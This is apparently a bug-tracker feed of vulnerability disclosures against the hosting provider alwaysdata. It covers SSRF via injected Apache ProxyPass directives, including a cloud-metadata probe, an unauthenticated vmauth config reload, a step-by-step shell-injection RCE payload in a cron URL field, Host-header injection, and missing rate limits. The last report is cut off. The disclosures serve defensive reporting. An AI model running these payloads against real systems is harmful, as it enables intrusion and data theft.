<?xml version="1.0" ?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title type="text">alwaysdata </title>
  <subtitle type="text">
    alwaysdata Security vulnerabilities: Recently opened tasks
  </subtitle>
  <id>https://security.alwaysdata.com/</id>
    <updated>2026-10-06T07:15:37Z</updated>
  <link rel="self" type="text/xml" href="feed.php?feed_type=atom"/>
  <link rel="alternate" type="text/html" hreflang="en" href="/feed.php"/>
    <entry>
    <title>FS#520: SSRF via Unrestricted Apache ProxyPass in Site API vhost_additional_directives Field</title>
    <link href="https://security.alwaysdata.com/task/520" />    
    <updated>2026-10-06T07:15:37Z</updated>    
    <published>2026-10-06T05:43:04Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Severity: High<br />CVSS 3.1 Score: 7.5<br />CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
</p>

<p>
Affected Endpoint: PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>{id}/<br />Vulnerable Field: vhost_additional_directives<br />Authentication Required: Yes (free account, <acronym title="Application Programming Interface">API</acronym> token)
</p>

<p>
 Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym>, including potentially internal services on alwaysdata&#039;s network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata&#039;s server IP (185.31.41.11), not from the attacker&#039;s IP.
</p>

<p>
 Technical Background
</p>

<p>
The alwaysdata <acronym title="Application Programming Interface">API</acronym> exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer&#039;s Apache site with no allowlist or blocklist enforced. Apache&#039;s mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request matching the configured path to an attacker-specified upstream <acronym title="Uniform Resource Locator">URL</acronym>, with the request originating from alwaysdata&#039;s server.
</p>

<p>
 Step-by-Step Reproduction
</p>

<p>
Step 1: Register a free account at <a href="https://www.alwaysdata.com/fr/inscription/" class="urlextern" title="https://www.alwaysdata.com/fr/inscription/"  rel="nofollow">https://www.alwaysdata.com/fr/inscription/</a> and create an <acronym title="Application Programming Interface">API</acronym> token from the admin panel under Profile &gt; Managing tokens. The token is used as the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth username with a blank password.
</p>

<p>
Step 2: Create a free hosting account via the <acronym title="Application Programming Interface">API</acronym> to obtain a site resource ID.
</p>

<p>
Request:<br />POST /v1/account/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6  (base64 of token:)<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;:&quot;vapt1test&quot;,&quot;product&quot;:2012,&quot;location_object&quot;:3,&quot;password&quot;:&quot;TestPassword1!&quot;,&quot;contract_28&quot;:true,&quot;contract_36&quot;:true}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 504456,
  &quot;name&quot;: &quot;vapt1test&quot;,
  &quot;location_type&quot;: &quot;datacenter&quot;,
  &quot;location_object&quot;: 3,
  &quot;product&quot;: null,
  &quot;period&quot;: null,
  &quot;href&quot;: &quot;/v1/account/504456/&quot;</pre>

<p>
}
</p>

<p>
Step 3: List the site resource to get its ID.
</p>

<p>
Request:<br />GET /v1/site/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 1083881,
      &quot;type&quot;: &quot;php&quot;,
      &quot;path&quot;: &quot;www/&quot;,
      &quot;vhost_additional_directives&quot;: null,
      &quot;addresses&quot;: [&quot;vapt1test.alwaysdata.net/&quot;],
      ...
  }</pre>

<p>
]
</p>

<p>
Step 4: Inject an Apache ProxyPass directive into the site configuration.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json<br />Content-Length: 121
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>\nProxyPassReverse /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content<br />server: nginx<br />vary: Accept-Language, Cookie<br />strict-transport-security: max-age=31536000; includeSubDomains; preload
</p>

<p>
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
</p>

<p>
Step 5: Confirm the directive was stored.
</p>

<p>
Request:<br />GET /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 1083881,
  &quot;vhost_additional_directives&quot;: &quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&quot;,
  ...</pre>

<p>
}
</p>

<p>
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata&#039;s Apache server (IP 185.31.41.11) to fetch example.org and return the response.
</p>

<p>
Request (sent from attacker browser):<br />GET /ssrf-poc <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response received by attacker (actually fetched by 185.31.41.11 from example.org):<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200 OK<br />Content-Type: text/html
</p>

<p>
&lt;!doctype html&gt;&lt;html lang=en&gt;&lt;head&gt;&lt;meta charset=utf-8&gt;<br />&lt;title&gt;Example Domain&lt;/title&gt;<br />… &lt;p&gt;This domain is for use in documentation examples without needing permission.&lt;/p&gt;<br />…
</p>

<p>
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org&#039;s <acronym title="HyperText Markup Language">HTML</acronym>, fetched and returned by alwaysdata&#039;s own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
</p>

<p>
 Step 7: Confirm the outbound request IP address using an IP reflection service.
</p>

<p>
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>\nProxyPassReverse /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
Trigger:<br />GET /ssrf-ip <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response body (the IP that made the request to ifconfig.me):<br />2a00:b6e0:1:20:23::1
</p>

<p>
This is alwaysdata&#039;s own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request to ifconfig.me was made by alwaysdata&#039;s server infrastructure, not by the attacker&#039;s IP.
</p>

<p>
 Additional Test: Attempt to Reach Cloud Metadata
</p>

<p>
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>\nProxyPassReverse /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>&quot;}
</p>

<p>
Triggering:<br />GET /metadata <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
</p>

<p>
 Impact
</p>

<p>
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym> on demand. Direct consequences are:
</p>

<p>
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata&#039;s private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
</p>

<p>
2. IP reputation and access control bypass: Outbound requests from alwaysdata&#039;s server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata&#039;s infrastructure. If any internal or partner service trusts alwaysdata&#039;s IP range, that trust is transferred to the attacker.
</p>

<p>
3. Scanning alwaysdata&#039;s internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker&#039;s own IP appearing in any logs.
</p>

<p>
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
</p>

<p>
 CVSS 3.1
</p>

<p>
AV:N (exploitable over the internet)<br />AC:L (no special conditions, just an <acronym title="Application Programming Interface">API</acronym> call)<br />PR:L (free account required)<br />UI:N (no user interaction)<br />S:C (scope changed: requests originate from alwaysdata&#039;s server infrastructure, not the attacker&#039;s origin)<br />C:H (if internal services are reachable, full confidentiality of internal data)<br />I:N (no write to internal services confirmed)<br />A:N (no availability impact)
</p>

<p>
Score: 7.5 High
</p>

<p>
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
</p>

<p>
 Cleanup
</p>

<p>
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
</p>

<p>
PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;: null}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
 Recommended Fix
</p>

<p>
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account&#039;s own paths.
</p>

<p>
 Submission Notes
</p>

<p>
Submit via the alwaysdata security portal at <a href="https://security.alwaysdata.com" class="urlextern" title="https://security.alwaysdata.com"  rel="nofollow">https://security.alwaysdata.com</a> (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal&#039;s public .git directory).<br />
</p>
</div>
    </content>
    <author><name>Shubham Bothra</name></author>
    <id>https://security.alwaysdata.com/:520</id>
  </entry>
    <entry>
    <title>FS#519: Unauthenticated vmauth administrative config reload and internal metrics/pprof exposure on sandbox-f</title>
    <link href="https://security.alwaysdata.com/task/519" />    
    <updated>2026-10-05T10:41:49Z</updated>    
    <published>2026-10-05T10:40:00Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
Summary<br />The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.
</p>

<p>
Two are materially impactful:
</p>

<p>
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
</p>

<p>
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, <acronym title="Transport Layer Security">TLS</acronym> certificate paths, version information, and runtime telemetry.
</p>

<p>
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
</p>

<p>
Severity: Medium<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5<br />Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
</p>

<p>
Affected asset:
</p>

<p>
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
</p>

<p>
IP: 185.31.41.181
</p>

<p>
Service: vmauth v1.137.0
</p>

<p>
Steps to Reproduce / PoC<br />1. Confirm the authentication gate exists on the same host<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/</pre>

<p>
Expected:
</p>

<p>
text<br />401<br />This is the control: the root path is protected.
</p>

<p>
2. Confirm /metrics is exempt and leaks internal data<br />bash<br />curl -sk -o /dev/null -w &#039;%{http_code}\n&#039; \
</p>
<pre class="code">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</pre>

<p>
Expected:
</p>

<p>
text<br />200<br />Leaked data:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep -E &#039;username=|auth.config|tlsCertFile|version=&#039;</pre>

<p>
Observed output includes:
</p>

<p>
text<br />vmauth_user_concurrent_requests_capacity{username=&quot;admin&quot;}     1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;aldjango&quot;}  1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;grafana&quot;}   1000<br />vmauth_user_concurrent_requests_capacity{username=&quot;telegraf&quot;}  1000
</p>

<p>
name=&quot;auth.config&quot;, value=&quot;/etc/vmauth/config.yml&quot;, is_set=&quot;true&quot;<br />name=&quot;tlsCertFile&quot;, value=&quot;/etc/ssl/certs/alwaysdata.org.bundle.pem&quot;, is_set=&quot;true&quot;<br />version=&quot;vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163&quot;<br />short_version=&quot;v1.137.0&quot;<br />These usernames are not otherwise obtainable without authentication.
</p>

<p>
3. Prove /-/reload is unauthenticated and state-changing<br />Baseline the reload counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Example:
</p>

<p>
text<br />vmauth_config_last_reload_total 7<br />Send an anonymous reload request:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />x-server-hostname: sandbox-fnonnenmacher2<br />content-length: 0<br />Re-read the counter:
</p>

<p>
bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 8<br />Delta: 1
</p>

<p>
Repeat:
</p>

<p>
bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload</a> curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics</a> \
</p>
<pre class="code">| grep vmauth_config_last_reload_total</pre>

<p>
Observed:
</p>

<p>
text<br />vmauth_config_last_reload_total 9<br />Delta: 1
</p>

<p>
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
</p>

<p>
4. Control: sibling admin endpoint is correctly gated<br />bash<br />curl -sk -X POST <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit</a> Observed:
</p>

<p>
http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 401 Unauthorized<br />Www-Authenticate: Basic realm=&quot;Restricted&quot;<br />Counter delta: 0
</p>

<p>
This proves /-/reload is an omission, not a design where all admin routes are open.
</p>

<p>
5. Additional unauthenticated pprof exposure<br />bash<br />curl -sk <a href="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline" class="urlextern" title="https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline"  rel="nofollow">https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline</a> Observed:
</p>

<p>
text<br />/usr/bin/vmauth -envflag.enable<br />The full pprof surface is exposed, including:
</p>

<p>
/debug/pprof/
</p>

<p>
/debug/pprof/cmdline
</p>

<p>
/debug/pprof/heap?debug=1
</p>

<p>
/debug/pprof/allocs?debug=1
</p>

<p>
/debug/pprof/goroutine?debug=2
</p>

<p>
/debug/pprof/trace?seconds=1
</p>

<p>
Impact<br />1. Unauthenticated administrative action<br />An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
</p>

<p>
2. Potential full authentication bypass if chained<br />/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
</p>

<p>
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
</p>

<p>
3. Internal information disclosure<br />/metrics and pprof leak:
</p>

<p>
Internal service-account names: admin, aldjango, grafana, telegraf
</p>

<p>
Configuration file path: /etc/vmauth/config.yml
</p>

<p>
<acronym title="Transport Layer Security">TLS</acronym> certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
</p>

<p>
Exact vmauth version and Go runtime version
</p>

<p>
Process command line: /usr/bin/vmauth -envflag.enable
</p>

<p>
Heap, allocs, goroutine, mutex, and trace profiling data<br />
</p>
</div>
    </content>
    <author><name>Muhammad Yaseen</name></author>
    <id>https://security.alwaysdata.com/:519</id>
  </entry>
    <entry>
    <title>FS#518: Remote Code Execution</title>
    <link href="https://security.alwaysdata.com/task/518" />    
    <updated>2026-10-05T08:56:16Z</updated>    
    <published>2026-10-05T08:54:58Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<h3 id="titlecron_type_urls_accepts_single-quote_in_url_argument_shell_injection_remote_code_execution">Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution</h3>
<div class="level3">

</div>

<h3 id="severitycritical">Severity: Critical</h3>
<div class="level3">

</div>

<h3 id="summary">Summary</h3>
<div class="level3">

<p>
 The cron job feature&#039;s TYPE_URLS type is documented as accepting &quot;a list of URLs to request&quot; — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the <acronym title="Application Programming Interface">API</acronym> accepts a single-quote &#039; character inside the <acronym title="Uniform Resource Locator">URL</acronym> argument without rejection. By injecting &#039;$(cmd)&#039; into the <acronym title="Uniform Resource Locator">URL</acronym>, the shell quoting is broken and cmd executes as a real command on alwaysdata&#039;s jobs server under the account&#039;s UID.
</p>

</div>

<h3 id="steps_to_reproduce">Steps to Reproduce</h3>
<div class="level3">
<pre class="code">

Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.

Step 1 — Write payload to file (prevents local shell expansion):
cat &gt; /tmp/job.json &lt;&lt; &#039;EOF&#039;
{
  &quot;type&quot;: &quot;TYPE_URLS&quot;,
  &quot;argument&quot;: &quot;http://x.com/&#039;$(id&gt;/home/YOUR_ACCOUNT/www/rce_proof.txt)&#039;&quot;,
  &quot;date_type&quot;: &quot;FREQUENCY&quot;,
  &quot;frequency&quot;: 1,
  &quot;frequency_period&quot;: &quot;minute&quot;
}
EOF

Step 2 — Create the malicious cron job:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X POST &quot;https://api.alwaysdata.com/v1/job/?format=json&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d @/tmp/job.json \
  -w &quot;\nHTTP STATUS: %{http_code}\n&quot;
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.

Step 3 — Wait up to 60 seconds for the cron to fire.

Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata&#039;s server.

Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  &quot;https://api.alwaysdata.com/v1/job/?format=json&quot;

curl -u &quot;YOUR_API_TOKEN account=YOUR_ACCOUNT:&quot; \
  -X DELETE &quot;https://api.alwaysdata.com/v1/job/JOB_ID/?format=json&quot;

</pre>

</div>
</div>
    </content>
    <author><name>Siddharth</name></author>
    <id>https://security.alwaysdata.com/:518</id>
  </entry>
    <entry>
    <title>FS#517: 500 ISE via Host Header @ Injection on /password/lost/ (CVSS 3.3 Low)</title>
    <link href="https://security.alwaysdata.com/task/517" />    
    <updated>2026-10-05T07:25:25Z</updated>    
    <published>2026-10-04T09:03:55Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
</p>

<p>
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)<br />CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />Raw TCP/<acronym title="Transport Layer Security">TLS</acronym> request:
</p>

<p>
Host: admin.alwaysdata.com@evil.com GET /password/lost/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1
</p>

<p>
Response: <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 500 Internal Server Error
</p>

<p>
Normal Host: admin.alwaysdata.com returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200.
</p>

<p>
## Evidence<br />- @-injection in Host header triggers 500 ISE<br />- Clean Host value returns 200 (no issue)<br />- No data leakage in error response observed
</p>

<p>
## Impact<br />Indicates Host header input reaches internal processing (likely <acronym title="Uniform Resource Locator">URL</acronym> building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
</p>

<p>
## Remediation<br />Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 400.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:517</id>
  </entry>
    <entry>
    <title>FS#516: No Rate Limit on /support/add/ — Support Ticket Spam (CVSS 3.7 Low)</title>
    <link href="https://security.alwaysdata.com/task/516" />    
    <updated>2026-10-05T07:24:17Z</updated>    
    <published>2026-10-04T09:03:26Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata&#039;s support team inbox.
</p>

<p>
Severity: Low (CVSS 3.7) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 20 rapid POSTs to /support/add/ with subject/message fields<br />3. All 20 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no 429 triggered
</p>

<p>
## Impact<br />- Staff inbox flooding via ticket spam<br />- Can bury legitimate support requests<br />- Degrades quality of service for legitimate customers
</p>

<p>
## Remediation<br />Limit: 5-10 tickets/hour per user account.
</p>

<p>
Researcher: adityahadipratama4@gmail.com 
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:516</id>
  </entry>
    <entry>
    <title>FS#515: No Rate Limit on /transfer/add/ — Invitation Spam Abuse (CVSS 5.3 Medium)</title>
    <link href="https://security.alwaysdata.com/task/515" />    
    <updated>2026-10-05T07:24:00Z</updated>    
    <published>2026-10-04T09:02:58Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata&#039;s invitation email system for harassment.
</p>

<p>
Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
</p>

<p>
## Reproduce<br />1. Log in with any free account<br />2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 — no throttling triggered
</p>

<p>
## Evidence<br />- 30/30 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (parallel, ~1.55s total)<br />- No 429 even under concurrent load
</p>

<p>
## Impact<br />- Spam victim with unlimited alwaysdata-branded transfer invitation emails<br />- Abuse alwaysdata sending reputation for targeted harassment
</p>

<p>
## Remediation<br />Limit: 5-10 invitations/hour per user + 3/day per target email.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:515</id>
  </entry>
    <entry>
    <title>FS#514: No Rate Limit on /password/lost/ — Email Flooding (CVSS 5.3 Medium, CWE-307)</title>
    <link href="https://security.alwaysdata.com/task/514" />    
    <updated>2026-10-05T07:21:13Z</updated>    
    <published>2026-10-04T09:02:28Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
## Summary
</p>

<p>
POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.
</p>

<p>
